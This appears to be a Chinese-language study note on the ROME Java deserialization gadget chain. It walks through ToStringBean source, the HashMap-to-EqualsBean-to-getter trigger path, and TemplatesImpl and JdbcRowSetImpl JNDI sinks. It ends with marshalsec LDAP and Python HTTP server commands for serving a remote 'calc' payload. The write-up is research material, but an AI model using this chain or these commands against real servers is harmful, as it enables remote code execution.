Rome
0x01 What Is ROME
ROME is a Java framework for RSS and Atom feeds
RSS : Really Simple Syndication(真正简易联合)
是一种消息来源格式规范,用以聚合经常发布更新数据的网站,例如博客文章、新闻、音频或视频的网摘。其使用XML编写
RSS 阅读器用于读取 RSS feed。ROME就是一个RSS 阅读器的实现。
0x02 First Glance
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>public class ToStringBean implements Serializable { // 实现了Serializable接口
protected ToStringBean(Class beanClass) {
_beanClass = beanClass;
_obj = this;
}
public String toString() {
Stack stack = (Stack) PREFIX_TL.get();
String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
String prefix;
if (tsInfo==null) {
String className = _obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".")+1);
}
else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return toString(prefix);
}
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
}
return sb.toString();
}
}toString(String prefix)有可疑的pReadMethod.invoke
BeanIntrospector.getPropertyDescriptors(_beanClass);能够获取类中的属性名及其getter方法(getter需要public)
可以本地试试:
新建一个Person类:
接着遍历PropertyDescriptor数组,对于每个getter方法,若其不是Class类的getter方法(一般就是getClass了),且无参,则执行该方法(pReadMethod.invoke(_obj,NO_PARAMS))
在FastJson那节我们就接触了几个可以利用getter方法的恶意类
TemplatesImpl#getOutputProperties(fastjson中需要开启Feature.SupportNonPublicField)JdbcRowSetImpl#getDatabaseMetaData()(jndi注入,需要出网)BasicDataSource#getConnection(BCEL码)
下面以TemplatesImpl#getOutputProperties为例
接着要找某个类的readObject调用了toString且调用者可控。
这里找了个中间人EqualsBean,和ToStringBean在同一个包下
熟悉的hashCode,入口就是URLDNS的入口类hashMap
hashMap#readObject => hash(key) => key.hashCode() => EqualsBean#hashCode
0x03 Weave POC
和URLDNS一样,往map里put时会触发hashCode,这里使用ObjectBean来作中转,后面再用反射修改
POC:
网上的文章都没遇到这个问题吗?太离谱了
构造
ToStringBean时应该传入Templates.class,这个Templates接口只定义了getOutputProperties这个方法。若传入
TemplatesImpl.class,BeanIntrospector.getPropertyDescriptors(Target.class)遍历getter方法时,会先遍历到getStylesheetDOM,return (DOM)_sdom.get();。而_sdom这个属性被transient修饰,无法被序列化。反序列化的时候会抛出NullPoint异常,退出getter方法遍历,导致无法执行到getOutputProperties
0x04 Other Versions
CC5中也有利用到toString()的类,BadAttributeValueExpException

fastjson那节利用的是JdbcRowSetImpl#setAutoCommit来进行jndi注入,但ROME链是触发getter方法。
实际上在JdbcRowSetImpl类里搜索this.connect(),还存在一个方法getDatabaseMetaData
getDataSourceName是在JdbcRowSetImpl父类BaseRowSet中定义的,我们就不能用getDeclaredField来获取了。JdbcRowSetImpl#setDataSourceName可以直接设置值。
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 8099开启ldap服务
python -m http.server 8000开启web服务
Last updated
Was this helpful?